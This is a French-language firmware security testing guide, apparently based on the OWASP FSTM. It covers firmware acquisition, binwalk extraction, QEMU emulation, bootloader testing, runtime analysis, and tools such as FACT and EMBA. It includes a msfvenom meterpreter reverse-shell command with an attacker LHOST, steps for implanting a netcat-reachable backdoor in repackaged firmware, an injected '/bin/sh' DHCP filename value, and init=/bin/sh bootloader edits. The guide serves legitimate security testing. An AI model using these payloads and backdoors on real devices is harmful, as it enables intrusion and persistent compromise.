🐣Firmware hacking

Description

Un firmware (ou logiciel embarqué en français) est un programme informatique intégré dans un matériel, qui participe à son bon fonctionnement et qui lui permet d'évoluer (via l'installation de mises à jour) sans avoir besoin de remplacer ce matériel ou de revoir son design. Habituellement, il démarre le système d'exploitation et fournit des services d'exécution spécifiques pour les programmes en communiquant avec divers composants hardware. Bien que le firmware soit un logiciel plus simple et plus fiable qu'un systèmes d'exploitation, il est également plus restrictif et est conçu pour prendre en charge uniquement un matériel spécifique.

OWASP Firmware Security Testing Methodology (FSTM)

Etapes

  1. Collecte d'information

  2. Obtention du firmware

  3. Analyse du firmware

  4. Extraction du système de fichier

  5. Analyse du contenu du système de fichier

  6. Emulation du firmware

  7. Analyse Dynamique

  8. Analyse en live

  9. Exploitation du binaire

Collecte d'information

Durant cette phase, On va tenter de récolter un maximum d'informations sur la cible pour comprendre sa composition globale sous-jacente à la technologie:

  • Architecture de CPU supportée

  • OS

  • Config de bootloader

  • Hardware

  • Datasheets

  • Lines-of-Code (LoC)

  • Code source

  • Composants tiers

  • Licence Open Source (exp: GPL)

  • ChangeLogs

  • ID FCC

  • Conception et diagrammes de flux de données

  • Threat Models

  • Tests d'intrusion précédents

  • Bug tracking ticket (exp: Jira, Bug bounty)

  • ...

Obtenir le firmware

Pour obtenir le firmware, il y a différentes méthodes possibles:

  • Demander directement au fabriquant, vendeur, à l'équipe de développement ou a un client.

  • Le build à partir de zéro en utilisant les procédures pas à pas fournies par le fabricant.

  • Via la page de support du vendeur.

  • Via des requêtes Google dork ciblées sur les extensions de fichiers binaires et les plates-formes de partage de fichiers telles que Dropbox, Box et Google Drive

  • En faisant un MITM sur les communications du système pendant une mise à jour

  • Via des S3 buckets

  • Extraire directement du matériel via UART, JTAG, PICit, etc.

  • Sniffer la communication série dans les composants hardware pour les demandes aux serveur de mise à jour.

  • Via un endpoint codé en dur dans les applications mobiles.

  • Via un dump depuis le bootloader vers le stockage flash ou sur le réseau via tftp.

Assurez-vous de respecter les lois et réglementations locales lors du téléchargement de données à partir de services de stockage de fournisseurs de cloud exposés.

Analyse du firmware

Une fois le firmware en notre possession, on va pouvoir faire une première analyse du fichier directement avec différents utilitaires:

file <bin>  
strings  
strings -n5 <bin> 
strings -n16 <bin> #plus long que 16
strings -tx <bin> #afficher le resultat en hexadécimal
binwalk <bin>  
hexdump -C -n 512 <bin> > hexdump.out  
hexdump -C <bin> | head # trouver des signatures dans les en-têtes
fdisk -lu <bin> #lister particions et filesystems

Si cela ne renvoie pas de données interessantes, c'est peut-être que le binaire est chiffré auquel cas on peut utiliser binwalk de cette manière pour obtenir l'entropie.

$ binwalk -E <bin>

Si l'entropie est basse, le binaire n'est probablement pas chiffré. Cependant à l'inverse, si l'entropie est haute le binaire est probablement chiffré.

Extraction du filesystem

Pour extraire le filesystem d'un binaire on peut utiliser l'utilitaire binwalk de cette manière:

$ binwalk -ev <bin>

Les fichiers seront extraits vers " _binaryname/filesystemtype/"

Types de systèmes de fichiers : squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs

Dans le cas ou binwalk n'aurait pas le magic byte du système de fichier dans ses signatures, Dans ces cas, utilisez binwalk pour trouver le décalage du système de fichiers et découpez le système de fichiers compressé à partir du binaire et extrayez manuellement le système de fichiers en fonction de son type.

Exemple:

$ binwalk <bin>

DECIMAL   HEXADECIMAL    DESCRIPTION
----------------------------------------------------------------------------- ---

0           0x0 DLOB      firmware header, boot partition: """"dev=/dev/mtdblock/1""""
10380       0x288C        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
1704052     0x1A0074      PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084     0x1A0094      Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41

Dans l'exemple ci-dessus, on peut remarquer à la dernière ligne qu'il s'agit d'un "Squashfs".

On peut alors utiliser la commande "dd" comme ceci pour copier le système de fichier:

$ dd if=<bin> bs=1 skip=<decimal line> of=output.squashfs

On va ensuite utiliser unsquashfs pour décompresser le fichier output.squashfs généré précédemment:

$ unsquashfs output.squashfs

Les fichiers seront ensuite dans le répertoire "squashfs-root".

Fichier archive CPIO

$ cpio -ivd --no-absolute-filenames -F <bin>

jffs2 filesystems

$ jefferson rootfsfile.jffs2

ubifs filesystems avec NAND flash

$ ubireader_extract_images -u UBI -s <start_offset> <bin>

$ ubidump.py <bin>

Analyse des filesystems

Dans cette étape on va principalement rechercher les informations suivantes dans le contenu des filesystems:

  • Deamons de réseau hérités non sécurisés tels que telnetd

  • Identifiants codés en dur (nom d'utilisateur, mot de passe, clé d'API, clés SSH, portes dérobées...)

  • fuite d'informations techniques (API endpoints, IP internes...)

  • Mettre à jour les fonctionnalités du serveur pouvant être utilisées comme point d'entrée.

  • Examiner le code non compilé et démarrer des scripts pour l'exécution de code à distance.

  • Extraire les fichiers binaires compilés à utiliser pour l'analyse hors ligne avec un désassembleur.

  • Utiliser des outils et toolkit.

Emulation du firmware

En utilisant les détails et les indices identifiés dans les étapes précédentes, le micrologiciel ainsi que ses binaires encapsulés doivent être émulés pour vérifier les vulnérabilités potentielles.

Il y a plusieurs types d'émulation qui sont les suivantes:

  • L'émulation partielle

  • L'émulation complète

  • L'émulation sur un système réel ou sur VM

Emulation partielle (Emulation en mode utilisateur)

Prérequis: Architecture du CPU et endianness.

$ binwalk -Y <bin> 
$ readelf -h <bin>

el = little endian

eb = big endian

Exemple:

$ binwalk -Y <bin>

DECIMAL   HEXADECIMAL   DESCRIPTION
--------------------------------------------------------------------------------

3480        0xD98       ARM executable code, 32-bit, little endian, at least 1154 valid instructions

Une fois l'architecture et l'endianness du processeur identifiés, localisez le binaire QEMU approprié pour effectuer une émulation partielle (pas pour émuler le micrologiciel complet, mais les binaires avec le micrologiciel extrait.)

Typiquement, dans : /usr/local/qemu-archou/usr/bin/qemu-arch

Copiez le binaire QEMU applicable dans le système de fichiers racine extrait. La deuxième commande montre la copie du binaire QEMU du bras statique vers le système de fichiers racine extrait dans un shell ZSH indiquant le chemin absolu.

> cp /usr/local/qemu-arch /extractedrootFS/

/home/embedos/firmware/_DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted.extracted/squashfs-root 
> cp /usr/bin/qemu-arm-static .

Exécutez le binaire ARM (ou l'architecture appropriée) à émuler à l'aide de QEMU et chrootez avec la commande suivante :

$ sudo chroot . ./qemu-arch <binaire à emuler>

Exemple avec busybox:

> sudo chroot . ./qemu-arm-static bin/busybox ls
[sudo] password for embedos: 
bin               etc               overlay           rom               sys               var
dev               lib               proc              root              tmp               www
dnsmasq_setup.sh  mnt               qemu-arm-static   sbin              usr

Parfois, les requêtes sont envoyées au binaire CGI par le serveur HTTP. En émulant simplement le binaire CGI, il est possible d'analyser la procédure du processus ou de vérifier la vulnérabilité sans configurer de serveur HTTP. L'exemple suivant envoie une requête GET à un binaire MIPS CGI.

~/DIR850L/squashfs-root/htdocs/web$ ls -l captcha.cgi
lrwxrwxrwx 1 root root     14 Oct 17  2017 captcha.cgi -> /htdocs/cgibin

# fix the broken symbolic link
~/DIR850L/squashfs-root/htdocs/web$ rm captcha.cgi && ln -s ../cgibin captcha.cgi

~/DIR850L/squashfs-root$ sudo chroot . ./qemu-mips-static -E REQUEST_METHOD="GET" -E REQUEST_URI="/captcha.cgi" -E REMOTE_ADDR="192.168.1.1" -E CONTENT_TYPE="text/html" /htdocs/web/captcha.cgi
HTTP/1.1 200 OK
Content-Type: text/xml

<?xml version="1.0" encoding="utf-8"?><captcha>
    <result>FAIL</result><message>NO SESSION</message>
</captcha>

Avec le binaire cible émulé, interagissez avec son interpréteur ou son service d'écoute. Fuzzez ses interfaces d'application et de réseau.

Emulation complète

Lorsque cela est possible, utilisez des outils d'automatisation tels que:

Analyse dynamique

À cette étape, effectuez des tests dynamiques pendant qu'un périphérique s'exécute dans son environnement normal ou émulé. Les objectifs de cette étape peuvent varier selon le projet et le niveau d'accès accordé. En règle générale, cela implique la falsification des configurations du chargeur de démarrage, les tests Web et API, le fuzzing (services réseau et d'application), ainsi que l'analyse active à l'aide de divers outils pour acquérir un accès élevé (racine) et/ou l'exécution de code.

Test du bootloader

Lors de la modification du démarrage de l'appareil et des chargeurs de démarrage tels que U-boot, essayez ce qui suit:

  • Essayez d'accéder au shell de l'interpréteur des chargeurs de démarrage en appuyant sur "0", espace ou d'autres "codes magiques" identifiés lors du démarrage.

  • Modifier les configurations pour exécuter une commande shell telle que l'ajout de ' init=/bin/sh' à la fin des arguments de démarrage.

    • #printenv

    • #setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3

    • mtdparts=sflash: rootfstype= hasEeprom=0 5srst=0 int=/bin/sh

    • #saveenv

    • #boot

  • Configurez un serveur TFTP pour charger des images sur le réseau localement à partir de votre poste de travail. Assurez-vous que l'appareil dispose d'un accès au réseau.

    • #setenv ipaddr <device local IP>

    • #setenv serverip <tftp server IP>

    • #saveenv

    • #reset

    • #ping 192.168.2.1 #check si le système est accessible sur le réseau

    • #tftp ${loadaddr} uImage-3.6.35 #loadaddr prend deux arguments : l'adresse dans laquelle charger le fichier et le nom de fichier de l'image sur le serveur TFTP

  • Utilisez ubootwrite.py pour écrire l'image uboot et poussez un firmware modifié pour gagner la racine.

  • Vérifiez les fonctionnalités de débogage activées telles que:

    • journalisation détaillée

    • chargement de noyaux arbitraires

    • démarrage à partir de sources non fiables

  • Configurer un serveur DHCP non autorisé avec des paramètres malveillants comme entrée pour qu'un appareil l'ingère lors d'un démarrage PXE.

  • Utilisez le serveur auxiliaire DHCP de Metasploit (MSF) et modifiez le paramètre 'FILENAME' avec des injection de commande telles que ‘a";/bin/sh;#’pour tester la validation des entrées pour les procédures de démarrage de l'appareil.

Tests d'intégrité

Tentez de télécharger un firmware personnalisé et/ou des fichiers binaires compilés pour chercher des défauts d'intégrité ou de vérification de signature. Par exemple, compilez un shell de liaison de porte dérobée qui démarre au démarrage en procédant comme suit.

  1. Extraire le firmware avec firmware-mod-kit (FMK)

  2. Identifier l'architecture et l'endianness du micrologiciel cible

  3. Créez un compilateur croisé avec Buildroot ou utilisez d'autres méthodes adaptées à votre environnement

  4. Utiliser un compilateur croisé pour créer la porte dérobée

  5. Copiez la porte dérobée dans le firmware extrait /usr/bin

  6. Copiez le binaire QEMU approprié dans le rootfs du micrologiciel extrait

  7. Émulez la porte dérobée en utilisant chroot et QEMU

  8. Connectez-vous à la porte dérobée via netcat

  9. Supprimer le binaire QEMU du rootfs du micrologiciel extrait

  10. Reconditionner le firmware modifié avec FMK

  11. Testez le micrologiciel de la porte dérobée en émulant avec la boîte à outils d'analyse du micrologiciel (FAT) et en vous connectant à l'adresse IP et au port de la porte dérobée cible à l'aide de netcat

  12. Si un shell racine a déjà été obtenu à partir d'une analyse dynamique, d'une manipulation du chargeur de démarrage ou de moyens de test de sécurité matérielle, essayez d'exécuter des binaires malveillants précompilés tels que des implants ou des shells inversés. Envisagez d'utiliser des outils automatisés de charge utile utilisés pour les Command and Control (C&C). Par exemple, le framework Metasploit et 'msfvenom' peuvent être exploités en suivant les étapes suivantes.

    1. Identifier l'architecture et l'endianness du micrologiciel cible

    2. Utilisez msfvenom pour spécifier la charge utile cible appropriée (-p), l'adresse IP de l'hôte de l'attaquant (LHOST=), le numéro de port d'écoute (LPORT=), le type de fichier (-f), l'architecture (--arch), la plate-forme (--platform linux ou windows), et le fichier de sortie (-o). Exemple: $ msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f elf -o meterpreter_reverse_tcp --arch armle --platform linux

    3. Transférez la charge utile vers le périphérique compromis et assurez-vous que la charge utile dispose des autorisations d'exécution

    4. Préparez Metasploit pour gérer les demandes entrantes. (msfconsole => handler)

    5. Exécutez le meterpreter reverse shell sur l'appareil compromis

    6. Regarder les sessions de meterpreter ouvertes

    7. Effectuer des activités de post-exploitation

    8. Si possible, identifiez une vulnérabilité dans les scripts de démarrage pour obtenir un accès persistant à un périphérique lors des redémarrages. De telles vulnérabilités surviennent lorsque les scripts de démarrage référencent ou dépendent de code situé dans des emplacements montés non fiables tels que des cartes SD et des volumes flash utilisés pour stocker des données en dehors des systèmes de fichiers racine.

Test d'applications Web embarquées

Analyse du runtime

L'analyse d'exécution implique l'attachement à un processus en cours d'exécution ou à un binaire pendant qu'un périphérique s'exécute dans son environnement normal ou émulé. Les étapes d'analyse d'exécution de base sont fournies ci-dessous:

  1. $ sudo chroot . ./qemu-arch -L -g <gdb_port>

  2. Attachez gdb-multiarch ou utilisez IDA pour émuler le binaire

  3. Définissez des points d'arrêt pour les fonctions identifiées lors de l'étape 4 telles que memcpy, strncpy, strcmp, etc.

  4. Exécutez de grandes chaînes de charge utile pour identifier les débordements ou les plantages de processus à l'aide d'un fuzzer

Exploitation du binaire

Après avoir identifié une vulnérabilité dans un fichier binaire à partir des étapes précédentes, un PoC approprié est requis pour démontrer l'impact et le risque dans le monde réel. Le développement de code d'exploit nécessite une expérience de programmation dans des langages de niveau inférieur (par exemple ASM, C/C++, shellcode, etc.) ainsi qu'une expérience dans l'architecture cible particulière (par exemple MIPS, ARM, x86, etc.). Le code PoC consiste à obtenir une exécution arbitraire sur un appareil ou une application en contrôlant une instruction en mémoire.

Il n'est pas courant que des protections d'exécution binaires (par exemple NX, DEP, ASLR, etc.) soient en place dans les systèmes embarqués, mais lorsque cela se produit, des techniques supplémentaires peuvent être nécessaires, telles que le Return Oriented Programming (ROP). ROP permet à un attaquant d'implémenter des fonctionnalités malveillantes arbitraires en enchaînant le code existant dans le code du processus/binaire cible connu sous le nom de gadgets. Des mesures devront être prises pour exploiter une vulnérabilité identifiée telle qu'un débordement de tampon en formant une chaîne ROP. Un outil qui peut être utile dans des situations comme celles-ci est le chercheur de gadgets de Capstone (ROPGadget)

Outils

IDA

IDA est un outil d'analyse statique de fichier binaire. Il existe en version Pro (payante) et Freeware (gratuite).

ressource: https://hex-rays.com/ida-free/

Firmwalker

Firmwalker est un script bash permettant de rechercher dans les filesystem du contenu sensible.

Utilisation:

$ ./firmwalker path/to/root/filesystem path/for/firmwalker.txt

ressource: https://github.com/scriptingxss/firmwalker

Firmware Analysis Comparison Toolkit (FACT)

FACT est destiné à automatiser la majeure partie du processus d'analyse du micrologiciel. Il décompresse les fichiers de firmware arbitraires et traite plusieurs analyses. De plus, il peut comparer plusieurs images ou fichiers uniques. De plus, le déballage, l'analyse et les comparaisons sont basés sur des plug-ins garantissant une flexibilité et une évolutivité maximales.

ressource: https://github.com/fkie-cad/FACT_core

EMBA - Embedded Analyzer

EMBA est un scanner de firmware automatisé permettant de remonter les vulnérabilités présentes dans un firmware et d'en ressortir un rapport détaillé.

ressource: https://github.com/e-m-b-a/emba

Firmware Analysis Toolkit

FAT est une boîte à outils conçue pour aider les chercheurs en sécurité à analyser et à identifier les vulnérabilités de l'IoT et du micrologiciel des appareils embarqués.

Exemple d'utilisation:

$ python3 fat.py firmware.img --qemu 2.5.0

ressource: https://github.com/attify/firmware-analysis-toolkit

Emux

Emux (anciennement ARMX) est un framework d'émulation de firmware.

ressource: https://github.com/therealsaumil/emux

MIPS-X

MIPS-X est un framework d'émulation de firmware

ressource: https://github.com/getCUJO/MIPS-X

FIRMADYNE

FIRMADYNE est un système automatisé et évolutif pour effectuer l'émulation et l'analyse dynamique du micrologiciel embarqué basé sur Linux.

ressource: https://github.com/firmadyne/firmadyne

Qiling

Qiling est un framework d'émulation de firmware avancé.

ressource: https://github.com/qilingframework/qiling

Peda

Peda est un assistance au développement d'exploits Python pour GDB.

ressource: https://github.com/longld/peda

ROPGadget

ROPGadget permet de rechercher vos gadgets sur vos binaires pour faciliter votre exploitation ROP. ROPgadget prend en charge les formats ELF, PE et Mach-O sur les architectures x86, x64, ARM, ARM64, PowerPC, SPARC et MIPS.

ressource: https://github.com/JonathanSalwan/ROPgadget

Firmware volontairement vulnérables

Dernière mise à jour